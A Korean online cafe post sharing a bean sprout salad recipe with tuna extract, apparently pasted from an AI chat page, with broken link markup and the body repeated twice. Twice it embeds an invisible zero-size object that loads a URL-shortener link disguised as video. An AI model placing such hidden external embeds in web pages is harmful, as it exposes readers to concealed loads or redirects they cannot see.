<![CDATA[
<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/b9ie" type="video/mp4"></object>
<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:30">아삭하고 맛있는 콩나물무침 레시피 (참치액 활용)</h2><h3 data-sourcepos="3:1-3:21">왜 참치액으로 콩나물 무칠까요?</h3><p data-sourcepos="4:1-4:53">참치액은 콩나물의 고유한 맛을 살려주면서 감칠맛을 더해줍니다. 깊은 풍미를 내는 비법 재료이죠!</p><h3 data-sourcepos="6:1-6:18">재료 준비 (4인분 기준)</h3><ul data-sourcepos="8:1-15:0">
<li data-sourcepos="8:1-8:8">콩나물 1봉</li>
<li data-sourcepos="9:1-9:9">대파 1/2대</li>
<li data-sourcepos="10:1-10:11">다진 마늘 1큰술</li>
<li data-sourcepos="11:1-11:9">참치액 2큰술</li>
<li data-sourcepos="12:1-12:7">소금 약간</li>
<li data-sourcepos="13:1-13:9">참기름 1큰술</li>
<li data-sourcepos="14:1-15:0">통깨 약간</li>
</ul><h3 data-sourcepos="16:1-16:9">만드는 법</h3><ol data-sourcepos="18:1-25:0">
<li data-sourcepos="18:1-18:39"><strong>콩나물 손질:</strong> 콩나물을 깨끗하게 씻어 뿌리를 다듬어주세요.</li>
<li data-sourcepos="19:1-21:50"><strong>콩나물 삶기:</strong> 냄비에 콩나물을 넣고 물이 콩나물을 살짝 덮을 정도로 부은 후 소금 약간을 넣고 끓여주세요.
<ul data-sourcepos="20:5-21:50">
<li data-sourcepos="20:5-20:70"><strong>삶는 시간:</strong> 콩나물의 굵기에 따라 다르지만, 보통 3~4분 정도 삶으면 아삭한 식감을 유지할 수 있습니다.</li>
<li data-sourcepos="21:5-21:50"><strong>Tip:</strong> 콩나물을 삶을 때 뚜껑을 덮지 않고 삶으면 비린 맛이 덜합니다.</li>
</ul>
</li>
<li data-sourcepos="22:1-22:48"><strong>찬물에 헹구기:</strong> 삶은 콩나물을 찬물에 헹궈 체에 밭쳐 물기를 꼭 짜주세요.</li>
<li data-sourcepos="23:1-23:54"><strong>양념 만들기:</strong> 볼에 콩나물, 다진 마늘, 참치액, 소금, 참기름을 넣고 버무려주세요.</li>
<li data-sourcepos="24:1-25:0"><strong>마무리:</strong> 대파를 송송 썰어 넣고 통깨를 뿌려주면 완성입니다.</li>
</ol><h3 data-sourcepos="26:1-26:16">아기 콩나물무침 만들기</h3><ul data-sourcepos="27:1-30:0">
<li data-sourcepos="27:1-27:50"><strong>양념 조절:</strong> 아기는 간을 세게 하면 안 되므로 소금과 참치액의 양을 줄여주세요.</li>
<li data-sourcepos="28:1-28:65"><strong>재료 선택:</strong> 아기가 먹기 좋도록 콩나물을 더 짧게 잘라주고, 대파 대신 부드러운 채소를 사용해도 좋습니다.</li>
<li data-sourcepos="29:1-30:0"><strong>매운맛 조절:</strong> 마늘을 빼거나 적게 넣어 매운맛을 줄여주세요.</li>
</ul><h3 data-sourcepos="31:1-31:28">콩나물 삶는 시간, 어떻게 조절해야 할까요?</h3><ul data-sourcepos="32:1-34:0">
<li data-sourcepos="32:1-32:21"><strong>아삭한 식감:</strong> 3~4분 삶기</li>
<li data-sourcepos="33:1-34:0"><strong>부드러운 식감:</strong> 4분 이상 삶기</li>
</ul><p data-sourcepos="35:1-35:24"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_71192ce3a497d4a5&quot;,&quot;c_54f1ed419d8cb2c0&quot;,null,&quot;rc_0619c0b663ed513b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6970728"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="콩나물 삶는 과정 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcSiCAi88OaU_zD86K4_pdi8NZvP2XYUdKqgbQAjNSli_WRTfwAQMjX8fOL3X8Ya"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6970728" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_71192ce3a497d4a5&quot;,&quot;c_54f1ed419d8cb2c0&quot;,null,&quot;rc_0619c0b663ed513b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 콩나물 삶는 과정 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><h3 data-sourcepos="37:1-37:18">다양한 콩나물 무침 레시피</h3><ul data-sourcepos="38:1-41:0">
<li data-sourcepos="38:1-38:41"><strong>매콤한 콩나물무침:</strong> 고춧가루를 넣어 매콤하게 즐길 수 있습니다.</li>
<li data-sourcepos="39:1-39:43"><strong>고소한 콩나물무침:</strong> 들깨가루를 넣어 고소한 맛을 더할 수 있습니다.</li>
<li data-sourcepos="40:1-41:0"><strong>새콤달콤 콩나물무침:</strong> 식초와 설탕을 넣어 새콤달콤하게 즐길 수 있습니다.</li>
</ul><p data-sourcepos="42:1-42:24"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_71192ce3a497d4a5&quot;,&quot;c_54f1ed419d8cb2c0&quot;,null,&quot;rc_0619c0b663ed513b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6987215"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="다양한 콩나물무침 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTM2vVYSjV9ZfvJjq0T8Cy2uQWwTN1ccp0E10_bGmaCUy3JnjWp1ZLqeORpM3fl"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6987215" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_71192ce3a497d4a5&quot;,&quot;c_54f1ed419d8cb2c0&quot;,null,&quot;rc_0619c0b663ed513b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 다양한 콩나물무침 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="44:1-44:92"><strong>Tip:</strong> 콩나물은 비타민과 무기질이 풍부한 건강 식품입니다. 냉장 보관 시 3~4일 정도 보관할 수 있으며, 데쳐서 냉동 보관하면 오래도록 먹을 수 있습니다.</p><p data-sourcepos="46:1-46:26"><strong>궁금한 점이 있다면 언제든지 물어보세요!</strong></p><h2 data-sourcepos="48:1-48:8">핵심 정리</h2><ul data-sourcepos="49:1-53:0">
<li data-sourcepos="49:1-49:33">참치액은 콩나물 무침의 감칠맛을 더하는 비법 재료입니다.</li>
<li data-sourcepos="50:1-50:31">콩나물 삶는 시간은 식감에 따라 조절할 수 있습니다.</li>
<li data-sourcepos="51:1-51:38">아기 콩나물무침은 간을 슴슴하게 하고 매운맛을 줄여 만들어줍니다.</li>
<li data-sourcepos="52:1-53:0">다양한 레시피로 콩나물무침을 즐겨보세요!</li>
</ul><p data-sourcepos="54:1-54:24"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_71192ce3a497d4a5&quot;,&quot;c_54f1ed419d8cb2c0&quot;,null,&quot;rc_0619c0b663ed513b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6961950"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="콩나물무침 완성 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcT-3oqlx8Cb9Vzhbzd_dXm4RaPisPGvs86aNOHQNsPBo-PD_NJTVhLBrBf_jQJv"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6961950" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_71192ce3a497d4a5&quot;,&quot;c_54f1ed419d8cb2c0&quot;,null,&quot;rc_0619c0b663ed513b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 콩나물무침 완성 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="56:1-56:30"><strong>가 더 필요하시면 언제든지 요청해주세요.</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/b9ie" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:30">아삭하고 맛있는 콩나물무침 레시피 (참치액 활용)</h2><h3 data-sourcepos="3:1-3:21">왜 참치액으로 콩나물 무칠까요?</h3><p data-sourcepos="4:1-4:53">참치액은 콩나물의 고유한 맛을 살려주면서 감칠맛을 더해줍니다. 깊은 풍미를 내는 비법 재료이죠!</p><h3 data-sourcepos="6:1-6:18">재료 준비 (4인분 기준)</h3><ul data-sourcepos="8:1-15:0">
<li data-sourcepos="8:1-8:8">콩나물 1봉</li>
<li data-sourcepos="9:1-9:9">대파 1/2대</li>
<li data-sourcepos="10:1-10:11">다진 마늘 1큰술</li>
<li data-sourcepos="11:1-11:9">참치액 2큰술</li>
<li data-sourcepos="12:1-12:7">소금 약간</li>
<li data-sourcepos="13:1-13:9">참기름 1큰술</li>
<li data-sourcepos="14:1-15:0">통깨 약간</li>
</ul><h3 data-sourcepos="16:1-16:9">만드는 법</h3><ol data-sourcepos="18:1-25:0">
<li data-sourcepos="18:1-18:39"><strong>콩나물 손질:</strong> 콩나물을 깨끗하게 씻어 뿌리를 다듬어주세요.</li>
<li data-sourcepos="19:1-21:50"><strong>콩나물 삶기:</strong> 냄비에 콩나물을 넣고 물이 콩나물을 살짝 덮을 정도로 부은 후 소금 약간을 넣고 끓여주세요.
<ul data-sourcepos="20:5-21:50">
<li data-sourcepos="20:5-20:70"><strong>삶는 시간:</strong> 콩나물의 굵기에 따라 다르지만, 보통 3~4분 정도 삶으면 아삭한 식감을 유지할 수 있습니다.</li>
<li data-sourcepos="21:5-21:50"><strong>Tip:</strong> 콩나물을 삶을 때 뚜껑을 덮지 않고 삶으면 비린 맛이 덜합니다.</li>
</ul>
</li>
<li data-sourcepos="22:1-22:48"><strong>찬물에 헹구기:</strong> 삶은 콩나물을 찬물에 헹궈 체에 밭쳐 물기를 꼭 짜주세요.</li>
<li data-sourcepos="23:1-23:54"><strong>양념 만들기:</strong> 볼에 콩나물, 다진 마늘, 참치액, 소금, 참기름을 넣고 버무려주세요.</li>
<li data-sourcepos="24:1-25:0"><strong>마무리:</strong> 대파를 송송 썰어 넣고 통깨를 뿌려주면 완성입니다.</li>
</ol><h3 data-sourcepos="26:1-26:16">아기 콩나물무침 만들기</h3><ul data-sourcepos="27:1-30:0">
<li data-sourcepos="27:1-27:50"><strong>양념 조절:</strong> 아기는 간을 세게 하면 안 되므로 소금과 참치액의 양을 줄여주세요.</li>
<li data-sourcepos="28:1-28:65"><strong>재료 선택:</strong> 아기가 먹기 좋도록 콩나물을 더 짧게 잘라주고, 대파 대신 부드러운 채소를 사용해도 좋습니다.</li>
<li data-sourcepos="29:1-30:0"><strong>매운맛 조절:</strong> 마늘을 빼거나 적게 넣어 매운맛을 줄여주세요.</li>
</ul><h3 data-sourcepos="31:1-31:28">콩나물 삶는 시간, 어떻게 조절해야 할까요?</h3><ul data-sourcepos="32:1-34:0">
<li data-sourcepos="32:1-32:21"><strong>아삭한 식감:</strong> 3~4분 삶기</li>
<li data-sourcepos="33:1-34:0"><strong>부드러운 식감:</strong> 4분 이상 삶기</li>
</ul><p data-sourcepos="35:1-35:24"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_71192ce3a497d4a5","c_54f1ed419d8cb2c0",null,"rc_0619c0b663ed513b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6970728"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="콩나물 삶는 과정 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSiCAi88OaU_zD86K4_pdi8NZvP2XYUdKqgbQAjNSli_WRTfwAQMjX8fOL3X8Ya"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6970728" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_71192ce3a497d4a5","c_54f1ed419d8cb2c0",null,"rc_0619c0b663ed513b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 콩나물 삶는 과정 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><h3 data-sourcepos="37:1-37:18">다양한 콩나물 무침 레시피</h3><ul data-sourcepos="38:1-41:0">
<li data-sourcepos="38:1-38:41"><strong>매콤한 콩나물무침:</strong> 고춧가루를 넣어 매콤하게 즐길 수 있습니다.</li>
<li data-sourcepos="39:1-39:43"><strong>고소한 콩나물무침:</strong> 들깨가루를 넣어 고소한 맛을 더할 수 있습니다.</li>
<li data-sourcepos="40:1-41:0"><strong>새콤달콤 콩나물무침:</strong> 식초와 설탕을 넣어 새콤달콤하게 즐길 수 있습니다.</li>
</ul><p data-sourcepos="42:1-42:24"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_71192ce3a497d4a5","c_54f1ed419d8cb2c0",null,"rc_0619c0b663ed513b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6987215"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="다양한 콩나물무침 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTM2vVYSjV9ZfvJjq0T8Cy2uQWwTN1ccp0E10_bGmaCUy3JnjWp1ZLqeORpM3fl"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6987215" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_71192ce3a497d4a5","c_54f1ed419d8cb2c0",null,"rc_0619c0b663ed513b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 다양한 콩나물무침 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="44:1-44:92"><strong>Tip:</strong> 콩나물은 비타민과 무기질이 풍부한 건강 식품입니다. 냉장 보관 시 3~4일 정도 보관할 수 있으며, 데쳐서 냉동 보관하면 오래도록 먹을 수 있습니다.</p><p data-sourcepos="46:1-46:26"><strong>궁금한 점이 있다면 언제든지 물어보세요!</strong></p><h2 data-sourcepos="48:1-48:8">핵심 정리</h2><ul data-sourcepos="49:1-53:0">
<li data-sourcepos="49:1-49:33">참치액은 콩나물 무침의 감칠맛을 더하는 비법 재료입니다.</li>
<li data-sourcepos="50:1-50:31">콩나물 삶는 시간은 식감에 따라 조절할 수 있습니다.</li>
<li data-sourcepos="51:1-51:38">아기 콩나물무침은 간을 슴슴하게 하고 매운맛을 줄여 만들어줍니다.</li>
<li data-sourcepos="52:1-53:0">다양한 레시피로 콩나물무침을 즐겨보세요!</li>
</ul><p data-sourcepos="54:1-54:24"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c4138327406="" class="ng-star-inserted"><div _ngcontent-ng-c4138327406="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c4138327406="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c4138327406="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c2337808022="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_71192ce3a497d4a5","c_54f1ed419d8cb2c0",null,"rc_0619c0b663ed513b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6961950"><span _ngcontent-ng-c2337808022="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c4138327406="" class="image loaded" alt="콩나물무침 완성 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcT-3oqlx8Cb9Vzhbzd_dXm4RaPisPGvs86aNOHQNsPBo-PD_NJTVhLBrBf_jQJv"></span><span _ngcontent-ng-c2337808022="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c4138327406="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6961950" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_71192ce3a497d4a5","c_54f1ed419d8cb2c0",null,"rc_0619c0b663ed513b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c4138327406="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c4138327406="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c4138327406="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c4138327406="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 콩나물무침 완성 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></span></p><p data-sourcepos="56:1-56:30"><strong>가 더 필요하시면 언제든지 요청해주세요.</strong></p></div>
</div></div>
<!-- -->
]]>
카페 게시글
지식 게시판
콩나물무침 레시피 참치액 하얀콩나물무침 아기콩나물무침 만드는 법 삶는 시간
나성희
추천 0
조회 9
24.11.29 01:21
댓글 0
다음검색
